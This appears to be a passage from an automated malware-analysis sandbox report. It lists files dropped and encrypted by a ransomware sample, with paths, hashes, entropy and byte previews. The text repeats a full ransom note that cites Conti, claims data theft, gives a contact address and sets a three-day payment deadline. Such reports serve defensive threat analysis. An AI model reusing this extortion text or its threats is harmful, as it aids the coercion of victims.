Preview:.0..">..?..[.=.P..<{..a ......6g.h......,./'3,.c.;O....SM4R.q..J.s..`..-.\A..jU;.} T...#.....!"t.._F..{~O.Q..C...s...V.U.U<m*..@..KF...9B Y,.8.G...D_.._L.hU3.....X8 ..K..? ......m......|......9v2...Z....f....Mb'...7.d...NW...8.M.5.~.X..1-.......&.V.u.]j!L.W.H_......4.K%..,;...},Qz.x...[.e...P.w.......k.v..$..z^.. i.ce.=..v..l..A.&.d...x....g3.....P....&+v.7.............KrL.Y..."..q..}..23%...."_.v.&..*9?..a.U..&.|1%.zu.G.......E..k...j.I.}.J....W....l.].}A.Fg.RT.".7.T.:.u.0....+.6._..s..w....?....F.s..WrB.#W..M9..k.y. ..2..F[c..tm.[.eO.....TK...K.@cD.j.VQ.C#..}..N....%.!.4:.YP(...{.RR:..F...;-...-..7C. ..M...aql4E.O8v...Mq.+@.[. ......^,......n...W;...BM..(qt...p3.w.qT!.X3z.p.s>k.^.L....... X.|J9.Z...."6.T9..._.c.Z.a.P.Bf..e..*X.W%+d...../......9.q..P.C.]....g.lpO.Y.0..%.VE[...Y..Z.....r.d^.t.BSu..Xo..%.....cq...o...3(.`{.!R.y+#..&........8...E.a.M.k..........e-.Pp...o..H..q....G.....~|..,...{y.......k....#.mQo%..L.A.......U]`...A...q!.;t.k...

C:\MSOCache\All Users\{90160000-0018-0409-0000-0000000FF1CE}-C\PowerPointMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2195
Entropy (8bit):7.899572808020685
Encrypted:false
SSDEEP:
MD5:87BFAC272B91F0E5A0F0EFF99DB5CED6
SHA1:498AB27D3104DD1CD0F93D32F04ABCA8DC732D8E
SHA-256:9DCBE0F552357FF7566641BF4E1AEC879CAE2FC068913E9111F97D6B2DDD90B3
SHA-512:E76B26E6E743B5FEBADDEBA3298A858FB38C763F5E5DA56E97EE499F43DCA314386A0C92902101329C812398F6CDFE271F67761DA4AD074D4F5B9AD9505A8C0D
Malicious:false
Preview:9...~M..!.Y.Y.E6..c...R......NN/.G..v ..qm.&.z.M.-.#I.C._../.}...M.Mf..t...:.....E.<......'.Wf.Gr@.....3'..4@.._......aqhofo.7.b[&#3...M1x"A...2.....^...P..Q.".p...],..Y..^..I....3...q.3@.w...-....x~.m.....I]......|Y ..`..8V..{..<M..b...[o.F.......6..ygnV..%.....V.>...KE..D...g...<..h.....@..,.[..n.l.1..Y...N.^-........d.?E.....+. ....Q....[j...#.g...#B.d.g..I.....$~.9.....M...Cy.z...*oO.O...\.2K($....P.7...5.H.ou..7..z..<"2Z.y]..+...6SG..;..Q...t...Un.1W+...W.....9.i...Qj..'5.I...0X^wL... ..mk...T.T........{/_h..$ZH1.h=...v.{......h;..F&a......8n....(.=.C...0,.".r*Z|.....so...Pt.7..".0.W.l]$.....a...lr.Angr..i5K4..6/.v/z.y.%%.E.%c.[.'y7.MA.."N.|e.F......ES@W.D.....H.....QvftR.6.....d..P..>...")..`z....&.O..t.'..=..m..gE....y(%..BaJ8...wN.([P..j..P^..9fF..6..\.*...i.....c....)5A'~VAm..Rr.~.0..H{...!...E>.7.u....Y.=.w.A..pw...v.&k...|..`w..A.....F.t$t...{aY.(]...T*.=..YL.......3...s..>..73.7.|.P...0z.6....c8d_$N..#.............s..F.v.I.n. ;....N.

C:\MSOCache\All Users\{90160000-0018-0409-0000-0000000FF1CE}-C\PowerPointMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2195
Entropy (8bit):7.899572808020685
Encrypted:false
SSDEEP:
MD5:87BFAC272B91F0E5A0F0EFF99DB5CED6
SHA1:498AB27D3104DD1CD0F93D32F04ABCA8DC732D8E
SHA-256:9DCBE0F552357FF7566641BF4E1AEC879CAE2FC068913E9111F97D6B2DDD90B3
SHA-512:E76B26E6E743B5FEBADDEBA3298A858FB38C763F5E5DA56E97EE499F43DCA314386A0C92902101329C812398F6CDFE271F67761DA4AD074D4F5B9AD9505A8C0D
Malicious:false
Preview:9...~M..!.Y.Y.E6..c...R......NN/.G..v ..qm.&.z.M.-.#I.C._../.}...M.Mf..t...:.....E.<......'.Wf.Gr@.....3'..4@.._......aqhofo.7.b[&#3...M1x"A...2.....^...P..Q.".p...],..Y..^..I....3...q.3@.w...-....x~.m.....I]......|Y ..`..8V..{..<M..b...[o.F.......6..ygnV..%.....V.>...KE..D...g...<..h.....@..,.[..n.l.1..Y...N.^-........d.?E.....+. ....Q....[j...#.g...#B.d.g..I.....$~.9.....M...Cy.z...*oO.O...\.2K($....P.7...5.H.ou..7..z..<"2Z.y]..+...6SG..;..Q...t...Un.1W+...W.....9.i...Qj..'5.I...0X^wL... ..mk...T.T........{/_h..$ZH1.h=...v.{......h;..F&a......8n....(.=.C...0,.".r*Z|.....so...Pt.7..".0.W.l]$.....a...lr.Angr..i5K4..6/.v/z.y.%%.E.%c.[.'y7.MA.."N.|e.F......ES@W.D.....H.....QvftR.6.....d..P..>...")..`z....&.O..t.'..=..m..gE....y(%..BaJ8...wN.([P..j..P^..9fF..6..\.*...i.....c....)5A'~VAm..Rr.~.0..H{...!...E>.7.u....Y.=.w.A..pw...v.&k...|..`w..A.....F.t$t...{aY.(]...T*.=..YL.......3...s..>..73.7.|.P...0z.6....c8d_$N..#.............s..F.v.I.n. ;....N.

C:\MSOCache\All Users\{90160000-0018-0409-0000-0000000FF1CE}-C\PptLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6310660
Entropy (8bit):7.999936242488887
Encrypted:true
SSDEEP:
MD5:10DD39DE37D487BE6C0831326BC837A9
SHA1:2D5E656B007569DF1A10C63257234789D4D22720
SHA-256:E72A7412BE7DFCA01A30671CE339D8A075F6069985A3AFCD3BF614CE3C7335CB
SHA-512:16307F4329C05DE1D5761EC11D13332DE9A12EC2B14C79DB0FB875A9D18B35830C0B471A053B8D65357F7A41C4226F5565124AEC39E59C891787DC04E38364CF
Malicious:true
Preview:P...1+.."7H1..{....=E.y.}...K.(..+SO...~"). g.....V........X.D....#=...3.p.pQ5.....b....~.....~...Xv..OE<..T.....nA...7..i.;(s.......&..<....N.}x..5.Y.!.Du......O...fQ...) .0.Z..K#T..e0.... .m{.k.b..t...G..a.r......0...v4....,..Gi.......m.D. .2.?1.E.|...^.....,.}.P-q.i...../....$..lr....$.R.g.&.F....K.`b..!8hM.e.L9^M...K.g......p....Wi.3..Id....C..D...A..E7...@.R.r.7..TU....4L...`.....+.$...CmJ.sNU.x...2...;...g...4.....J...u.2"w.B.(......t.7.>F..].RB.....M!Q..=.Y.....K.D.r.6/....%.[.n.#2..^y.T0.mY.G..._..K..c.W...E...S.A..A.H.U.........f".-..gsJY...........!........G.6.Bu.. _.....x...&.v..U.y.u..3tH2.../.........v.-cm....t!.o9S..W.... .v9.7gD..s..k....cW......,.l}D.2..jd......N.q...$....Q..X.+#v..=.=B.k\.xayB..ie.,.9U.R.x...VFQ.9.%.._.r.P.8..O..X..Dy.#.\....U..gx.v......4..........Z...V.....).s....G.]).U.....|...i..6...TsOnr:...{W.L.....m.JY..._2f.?\r..V.../;.2.....=~.G..hx.Q.DvL...-....0.g..'.Y...........c..Z..y..z.R1U........9..(.h&.q.n}.

C:\MSOCache\All Users\{90160000-0018-0409-0000-0000000FF1CE}-C\PptLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6310660
Entropy (8bit):7.999936242488887
Encrypted:true
SSDEEP:
MD5:10DD39DE37D487BE6C0831326BC837A9
SHA1:2D5E656B007569DF1A10C63257234789D4D22720
SHA-256:E72A7412BE7DFCA01A30671CE339D8A075F6069985A3AFCD3BF614CE3C7335CB
SHA-512:16307F4329C05DE1D5761EC11D13332DE9A12EC2B14C79DB0FB875A9D18B35830C0B471A053B8D65357F7A41C4226F5565124AEC39E59C891787DC04E38364CF
Malicious:true
Preview:P...1+.."7H1..{....=E.y.}...K.(..+SO...~"). g.....V........X.D....#=...3.p.pQ5.....b....~.....~...Xv..OE<..T.....nA...7..i.;(s.......&..<....N.}x..5.Y.!.Du......O...fQ...) .0.Z..K#T..e0.... .m{.k.b..t...G..a.r......0...v4....,..Gi.......m.D. .2.?1.E.|...^.....,.}.P-q.i...../....$..lr....$.R.g.&.F....K.`b..!8hM.e.L9^M...K.g......p....Wi.3..Id....C..D...A..E7...@.R.r.7..TU....4L...`.....+.$...CmJ.sNU.x...2...;...g...4.....J...u.2"w.B.(......t.7.>F..].RB.....M!Q..=.Y.....K.D.r.6/....%.[.n.#2..^y.T0.mY.G..._..K..c.W...E...S.A..A.H.U.........f".-..gsJY...........!........G.6.Bu.. _.....x...&.v..U.y.u..3tH2.../.........v.-cm....t!.o9S..W.... .v9.7gD..s..k....cW......,.l}D.2..jd......N.q...$....Q..X.+#v..=.=B.k\.xayB..ie.,.9U.R.x...VFQ.9.%.._.r.P.8..O..X..Dy.#.\....U..gx.v......4..........Z...V.....).s....G.]).U.....|...i..6...TsOnr:...{W.L.....m.JY..._2f.?\r..V.../;.2.....=~.G..hx.Q.DvL...-....0.g..'.Y...........c..Z..y..z.R1U........9..(.h&.q.n}.

C:\MSOCache\All Users\{90160000-0018-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0018-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2606
Entropy (8bit):7.928153217892484
Encrypted:false
SSDEEP:
MD5:945809FB9D24BAD69C6837111FA9A55B
SHA1:4357063DEFF4DF7581C4A148428285DC4FF16506
SHA-256:D41A08BC0A27A45E76A2236DAA75640D3EDE93602841A038959DFB31CF3741C1
SHA-512:1D1C60CC4C0857BBFB6CB98270CD56A7B1C316F80BB2F4F84268E18D5894402183E83B2872729998D8AE3D77635B3C7615D201B91AE9D8E8B5D1EDA545CD0CB8
Malicious:false
Preview:c..-...M$..s....q.....]...G......TNcTDu.."=..=.>..zVb..p^a=rh*..,.v.....C.z....R.._.xbJO.UN>>.&...,..8.....Z....._.c....9y..P.........PM.#-\.+..ndu...u..B.v....._EIEi.1.S.G..-.."47...a.sJ&I.(.-=.S\........./XPF...3}..P.`.@.,..{z.q...M.7.BN....ZZ.o .!I..t.C.~s..Pr....B............U.......6.R3U.....P.@.Y.o.7.d.7.Bc]im....a>j...;...w..qa.N.m.`...T%\....pe.....+..Q..5...+.\2.$...R.\b....X.....*.g.k...b..d....T.S...i.....Jh<.N.0`.|.).9..|.D`$....(m'8..x.7iK.p..+........\...#-Y...\..*`..-k.nV..`.|&..~.C.V_w......L....W._.4!G.*.......T....c.:1..........o,}..cP...a.}{.....1..w..G...{0.55.m..rL..,?Sr....Cw*}~...rr|.P......m.//..~W.0,}n.!WZ...sJ.]O.#O.K5I..u.Ql.|?..u1.6..4R...?A...T.u8..]..f.TO.2.4.1E...8...1.b.^*..X.9.L....r.y9.$........."..|^.K.D.,?X-....3}.n0.G.2.2.m..U...&.AF(...h..}T<UGl*0..5K.l.S..@..i.?-Z...-._....1w.A}..%.a.....<.Dqk.z.~.\Di..z.....Pd..."R...(w+.m..O....C4.......W.e..x......I.'.?Y..pe.IJlJ.R..Et.PR..fLp..m...Z.33..>.

C:\MSOCache\All Users\{90160000-0018-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2606
Entropy (8bit):7.928153217892484
Encrypted:false
SSDEEP:
MD5:945809FB9D24BAD69C6837111FA9A55B
SHA1:4357063DEFF4DF7581C4A148428285DC4FF16506
SHA-256:D41A08BC0A27A45E76A2236DAA75640D3EDE93602841A038959DFB31CF3741C1
SHA-512:1D1C60CC4C0857BBFB6CB98270CD56A7B1C316F80BB2F4F84268E18D5894402183E83B2872729998D8AE3D77635B3C7615D201B91AE9D8E8B5D1EDA545CD0CB8
Malicious:false
Preview:c..-...M$..s....q.....]...G......TNcTDu.."=..=.>..zVb..p^a=rh*..,.v.....C.z....R.._.xbJO.UN>>.&...,..8.....Z....._.c....9y..P.........PM.#-\.+..ndu...u..B.v....._EIEi.1.S.G..-.."47...a.sJ&I.(.-=.S\........./XPF...3}..P.`.@.,..{z.q...M.7.BN....ZZ.o .!I..t.C.~s..Pr....B............U.......6.R3U.....P.@.Y.o.7.d.7.Bc]im....a>j...;...w..qa.N.m.`...T%\....pe.....+..Q..5...+.\2.$...R.\b....X.....*.g.k...b..d....T.S...i.....Jh<.N.0`.|.).9..|.D`$....(m'8..x.7iK.p..+........\...#-Y...\..*`..-k.nV..`.|&..~.C.V_w......L....W._.4!G.*.......T....c.:1..........o,}..cP...a.}{.....1..w..G...{0.55.m..rL..,?Sr....Cw*}~...rr|.P......m.//..~W.0,}n.!WZ...sJ.]O.#O.K5I..u.Ql.|?..u1.6..4R...?A...T.u8..]..f.TO.2.4.1E...8...1.b.^*..X.9.L....r.y9.$........."..|^.K.D.,?X-....3}.n0.G.2.2.m..U...&.AF(...h..}T<UGl*0..5K.l.S..@..i.?-Z...-._....1w.A}..%.a.....<.Dqk.z.~.\Di..z.....Pd..."R...(w+.m..O....C4.......W.e..x......I.'.?Y..pe.IJlJ.R..Et.PR..fLp..m...Z.33..>.

C:\MSOCache\All Users\{90160000-0019-0409-0000-0000000FF1CE}-C\PubLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3562181
Entropy (8bit):7.999378478377738
Encrypted:true
SSDEEP:
MD5:1BD64E78490D3E51C922D3E3087C82D3
SHA1:B498C6D45FE50C59D601700EC6EB8FCD2546AB20
SHA-256:466B35C1084F8D6A315543D2BCCA32B6F9CCEB5EA5E12C32968F565E9D8B549D
SHA-512:1EF1B05720A95D958F0EC51828D8348A98954C137FE3FE8B6809DBA501CCAEBBBB99AC353AA2244188757E9A32D69FBD655234F05271E3C606ADB66A64A193A8
Malicious:true
Preview:..g....%.."^....@P*M.^?.ed.L..@.... .8ZN.........4.......... y.`.D.[.x..3..D.!..T6]..A...t.%E'.&....Q......~54L-......+.y..3FP.+..... -.G.m.'.@..]"..l..`I........g.m...y.J~.......<@N..Z....N....{^...B..#b....o..[.....)....L....~$y...........f..1.i$B...V....}Z.v.cV./.zL..G.....TYt8..(..-..z.Kq..!>}..7G0...3f.`+9h.m.T0^.&_..x..................y...&._...x.[.\..=.......1..r^...H.......3.2_]..C.9l.Y....a-s.:.).?.VI.Ka.i\J..2p .Z...!,...`.v;;.h..p...&@..`.(._.8...3..u.y.Kd..4..m....bW...R.$..Ot........U......6.I"G..%G....E....-.9t^fq...&....q.uS]r..?....#...[.r.&.Y...i.YT......*..[..s"C.*-.^...^..E..(....S?V..8..R..Q..yP.)..[.....f..r..1.2:.G...($....].4@...-~x.....}yzB.....G.....q.F.i/..N.L_[r.{..>....#.bQG........:..O....?&..H.....9.]........i`.2.{..sY..B.....`.$...U.4L.3q....XI...'P?0...SDe!8.&...<.!&...C....3.....K)?1*@..:.E`...4...g..v4.mE-..&..y..U-!.vG...q....3@.!N.`e...7..(.........1.z2....#M._/V.../e.b..3..V.w..F..dC/P..Y..2...V..<.9J

C:\MSOCache\All Users\{90160000-0019-0409-0000-0000000FF1CE}-C\PubLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3562181
Entropy (8bit):7.999378478377738
Encrypted:true
SSDEEP:
MD5:1BD64E78490D3E51C922D3E3087C82D3
SHA1:B498C6D45FE50C59D601700EC6EB8FCD2546AB20
SHA-256:466B35C1084F8D6A315543D2BCCA32B6F9CCEB5EA5E12C32968F565E9D8B549D
SHA-512:1EF1B05720A95D958F0EC51828D8348A98954C137FE3FE8B6809DBA501CCAEBBBB99AC353AA2244188757E9A32D69FBD655234F05271E3C606ADB66A64A193A8
Malicious:true
Preview:..g....%.."^....@P*M.^?.ed.L..@.... .8ZN.........4.......... y.`.D.[.x..3..D.!..T6]..A...t.%E'.&....Q......~54L-......+.y..3FP.+..... -.G.m.'.@..]"..l..`I........g.m...y.J~.......<@N..Z....N....{^...B..#b....o..[.....)....L....~$y...........f..1.i$B...V....}Z.v.cV./.zL..G.....TYt8..(..-..z.Kq..!>}..7G0...3f.`+9h.m.T0^.&_..x..................y...&._...x.[.\..=.......1..r^...H.......3.2_]..C.9l.Y....a-s.:.).?.VI.Ka.i\J..2p .Z...!,...`.v;;.h..p...&@..`.(._.8...3..u.y.Kd..4..m....bW...R.$..Ot........U......6.I"G..%G....E....-.9t^fq...&....q.uS]r..?....#...[.r.&.Y...i.YT......*..[..s"C.*-.^...^..E..(....S?V..8..R..Q..yP.)..[.....f..r..1.2:.G...($....].4@...-~x.....}yzB.....G.....q.F.i/..N.L_[r.{..>....#.bQG........:..O....?&..H.....9.]........i`.2.{..sY..B.....`.$...U.4L.3q....XI...'P?0...SDe!8.&...<.!&...C....3.....K)?1*@..:.E`...4...g..v4.mE-..&..y..U-!.vG...q....3@.!N.`e...7..(.........1.z2....#M._/V.../e.b..3..V.w..F..dC/P..Y..2...V..<.9J

C:\MSOCache\All Users\{90160000-0019-0409-0000-0000000FF1CE}-C\PublisherMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2196
Entropy (8bit):7.907341904973455
Encrypted:false
SSDEEP:
MD5:9E4267006FC8F7CD0ECB315B9A85B3F3
SHA1:44EFC1322721949EA9E12501A79321F5E8421EE9
SHA-256:703F0A80EA9B859B9A2266756841E61BCBDB1E56BB0DB0DD778E71B449EE74BD
SHA-512:7E47CA20545F44C5DFDE6F72BD9D778D576F81C38ED877E21788BAF61AB1653474D674064C3530C5243FDE002775A7F3C4C4EA5C01E31E343006DA50D0089CB8
Malicious:false
Preview:..2.O_....&..*.....-..8.AuR........0.R............m.f.Jd..f....Y...F.Z..M.iE..%......h.@....C..m.E}......z.......b.....r..+..(u..bU..g.(..q.....L..Q.?.7...o..M..wHO....2....*...6.a6e..>.K/~..R.....4..Wh.n.h..-a}..o.t..w.]].}~.;@>G."A7he....+.. s.`.I..0O..xK......e....*yV:...f.HD.&..o.... .)x..f..M....l...&3.3.Pp..$.C..D(p.|.....h*..f..&.w...X..#....<....Wc.R..G^]^.V_.a..'.....3....k..../..\.....j..Uas..Q.._.M.s...kn.K..k..j..........p.|l:.M.x.......~h........H.}.P-.'..W5..'...d.l...c....o......|....L5....../.E.2..W/....7?x.*.*OVh.y.#.r...O...O.j.a...w.."..GP........=.%bs...#...o.`5D.U.S........Z.. 5.[..$P.q.wO[.x?.?,.*.....I..K.....7..w....~r.9......s!.?EA]..p....M..f%s...3.Ky.DVE.rQ.....W%.../....*....BG...y9..t....4p..V..W..]&`_..%...3. 8.R.....Z..aN...Q..&....-g...+4).#...._wm.B.5s.A.7]... jx#w_\..W...M.3WI........n.......y..e.n..>i...5...@...S...x._...8.>....T...x..\.x....7v..P.+.S....:...w(.[...~..B4..Rm.Z.].[y...P....b..0>

C:\MSOCache\All Users\{90160000-0019-0409-0000-0000000FF1CE}-C\PublisherMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2196
Entropy (8bit):7.907341904973455
Encrypted:false
SSDEEP:
MD5:9E4267006FC8F7CD0ECB315B9A85B3F3
SHA1:44EFC1322721949EA9E12501A79321F5E8421EE9
SHA-256:703F0A80EA9B859B9A2266756841E61BCBDB1E56BB0DB0DD778E71B449EE74BD
SHA-512:7E47CA20545F44C5DFDE6F72BD9D778D576F81C38ED877E21788BAF61AB1653474D674064C3530C5243FDE002775A7F3C4C4EA5C01E31E343006DA50D0089CB8
Malicious:false
Preview:..2.O_....&..*.....-..8.AuR........0.R............m.f.Jd..f....Y...F.Z..M.iE..%......h.@....C..m.E}......z.......b.....r..+..(u..bU..g.(..q.....L..Q.?.7...o..M..wHO....2....*...6.a6e..>.K/~..R.....4..Wh.n.h..-a}..o.t..w.]].}~.;@>G."A7he....+.. s.`.I..0O..xK......e....*yV:...f.HD.&..o.... .)x..f..M....l...&3.3.Pp..$.C..D(p.|.....h*..f..&.w...X..#....<....Wc.R..G^]^.V_.a..'.....3....k..../..\.....j..Uas..Q.._.M.s...kn.K..k..j..........p.|l:.M.x.......~h........H.}.P-.'..W5..'...d.l...c....o......|....L5....../.E.2..W/....7?x.*.*OVh.y.#.r...O...O.j.a...w.."..GP........=.%bs...#...o.`5D.U.S........Z.. 5.[..$P.q.wO[.x?.?,.*.....I..K.....7..w....~r.9......s!.?EA]..p....M..f%s...3.Ky.DVE.rQ.....W%.../....*....BG...y9..t....4p..V..W..]&`_..%...3. 8.R.....Z..aN...Q..&....-g...+4).#...._wm.B.5s.A.7]... jx#w_\..W...M.3WI........n.......y..e.n..>i...5...@...S...x._...8.>....T...x..\.x....7v..P.+.S....:...w(.[...~..B4..Rm.Z.].[y...P....b..0>

C:\MSOCache\All Users\{90160000-0019-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0019-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2329
Entropy (8bit):7.907397051258632
Encrypted:false
SSDEEP:
MD5:15AD3801D0DEFCFF43C61847842935CB
SHA1:2E7C9E0167CCCE9E80BF2D755666F22142F55C34
SHA-256:DA57BE9739F221664DE120209C30F4CFDE6AC67319341CF570AF38D0D8131744
SHA-512:4BD6B35BA4AAD24CF79CECEDC71F5AB2271AB65690BEE201B810C24AE605830DA60B0A9A07D1A03DE09BC8557B6B3CAA2AD0F732E6ECD373029375B9D94BA3C2
Malicious:false
Preview:......-...}.=..R...%9..T..zX."....]....'4d'.~|........N.....F..@O......N..Y.t3.J..;n..].E.Xh..Rzb..Ne....Z...N.).[f.9.h8'..y4.$%..|..0J..].h.....p.....8...l....R}.........8d5...!h..DU...X..c.......s.......G".......H.xk..........].*.......AK..v.W..#Jv.Ux....e.(...Z......IzHo....-......w..C*.#.w/D.)&.>......g..y...T.3..i..$..o......g....yJ..SuP~0d.X.4..#.t0..L..\nPht.q..6t....X.|.)..D..e.\......9(........{..yN......)j-.e{N..........e......3.v...[.....4._1=%d........][..t..w.xp.M....>....q.-l....)../...Sk......6.f....>N........X.........Tmo.K..[..(.NM.j-1.'n%..l........f........X..q.x.E1...Ot.u}.o.....(..O6...tD.hf)....`.f.4Q.I.T.......N..W;...Q..'.c.e......=.H~.....?..C......Qg.I.&. ....jD.=q=9...[.X......@..{.=..u{.c..t8...h!.Tv^.n..R.>o......\.X..&s.6hx.K.(..H.x....'?.V.l.b.S..\....4._....d<..U.9...&b...7.R. ..e..4"..4...9M?&|...;.|Sc....E.#Vc.[..=.....<..9.e..b...8DUT;l...&0C..$...=...'B.2..E.Drcm..Q...w.0....._jv....W..zM.+..!....Q

C:\MSOCache\All Users\{90160000-0019-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2329
Entropy (8bit):7.907397051258632
Encrypted:false
SSDEEP:
MD5:15AD3801D0DEFCFF43C61847842935CB
SHA1:2E7C9E0167CCCE9E80BF2D755666F22142F55C34
SHA-256:DA57BE9739F221664DE120209C30F4CFDE6AC67319341CF570AF38D0D8131744
SHA-512:4BD6B35BA4AAD24CF79CECEDC71F5AB2271AB65690BEE201B810C24AE605830DA60B0A9A07D1A03DE09BC8557B6B3CAA2AD0F732E6ECD373029375B9D94BA3C2
Malicious:false
Preview:......-...}.=..R...%9..T..zX."....]....'4d'.~|........N.....F..@O......N..Y.t3.J..;n..].E.Xh..Rzb..Ne....Z...N.).[f.9.h8'..y4.$%..|..0J..].h.....p.....8...l....R}.........8d5...!h..DU...X..c.......s.......G".......H.xk..........].*.......AK..v.W..#Jv.Ux....e.(...Z......IzHo....-......w..C*.#.w/D.)&.>......g..y...T.3..i..$..o......g....yJ..SuP~0d.X.4..#.t0..L..\nPht.q..6t....X.|.)..D..e.\......9(........{..yN......)j-.e{N..........e......3.v...[.....4._1=%d........][..t..w.xp.M....>....q.-l....)../...Sk......6.f....>N........X.........Tmo.K..[..(.NM.j-1.'n%..l........f........X..q.x.E1...Ot.u}.o.....(..O6...tD.hf)....`.f.4Q.I.T.......N..W;...Q..'.c.e......=.H~.....?..C......Qg.I.&. ....jD.=q=9...[.X......@..{.=..u{.c..t8...h!.Tv^.n..R.>o......\.X..&s.6hx.K.(..H.x....'?.V.l.b.S..\....4._....d<..U.9...&b...7.R. ..e..4"..4...9M?&|...;.|Sc....E.#Vc.[..=.....<..9.e..b...8DUT;l...&0C..$...=...'B.2..E.Drcm..Q...w.0....._jv....W..zM.+..!....Q

C:\MSOCache\All Users\{90160000-001A-0409-0000-0000000FF1CE}-C\OutlkLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4009719
Entropy (8bit):7.999800682530956
Encrypted:true
SSDEEP:
MD5:66CA5D08DB8423E52645A3F492FA61AB
SHA1:68917C18C3B6B4E07C1BBAD26865216844791D3B
SHA-256:A605E852A76889D336A09645F4631996DB52EC09F5BD4912846A7128433832C7
SHA-512:61608624158B52CF4763E623FE4C1C38866FE24A732BB1E59FD62673B7B4D7F9213D89481E427858C429C318D51C21A419CF2061B171E79A26D00DF6CE40CCE1
Malicious:true
Preview:- ...&..r\...O.qnn....0.Q.G.@(.N.a....{..C.....v.W.1..,.....Lk.j...W.....9.e.d..i...&.8..J...........g..G9.@..=_?..>3i*Ipf......o...."..BF.{_T{...!j.g..F.`.5...;..P...\....\B.$.....O.....3^1..I.ypc..nm.~.J.j..Slq^Rm.....[.T...2...g.p.U..e.....N...sa.<i.Q.wJ4rA.,..........Fo..;Q..u..Rp.*....^#)...B:.....t..*Q..LdD......8.s.og.y8.......OA..y...[....M.h..Z.x..%F.9.(....1.....3F...q..{*.s.UI...kI.(.U...........s...h.%.....)*.Q.w..L..@.8t....%.3.......U....>?K...B....3..c[.....E.>\...&:n.....@.K.)..R.?.lPK...C..AeVv....w".....#G,NE})fN...>..Ti.v=AN{q...HMk...4.E..h.r.O.d1x......\>e....K|.E{.....\.$.}Yr%n...+..\a.,......Q..|. Z....!..jK...j.W..#.].c.Z..m3k..2n.....B.$V..(.j..aA..#Y..j.R...D!=.z...Yb...g......$...2.|&.Un.c=..>.=...CN.Y.0.,..*...[.1.E...1..t...S...@.x........$....(U...)j...%YnPe.)...af7..U...M#(....X.C&..V......a..p1....W!&.. ,i&Y..^X..UgE..]A.go.V....^..k.W.\l>R..h..[G.h(;.AuG.6..H.......n..w.F.!B..Y...]M..f.XQ.<4

C:\MSOCache\All Users\{90160000-001A-0409-0000-0000000FF1CE}-C\OutlkLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4009719
Entropy (8bit):7.999800682530956
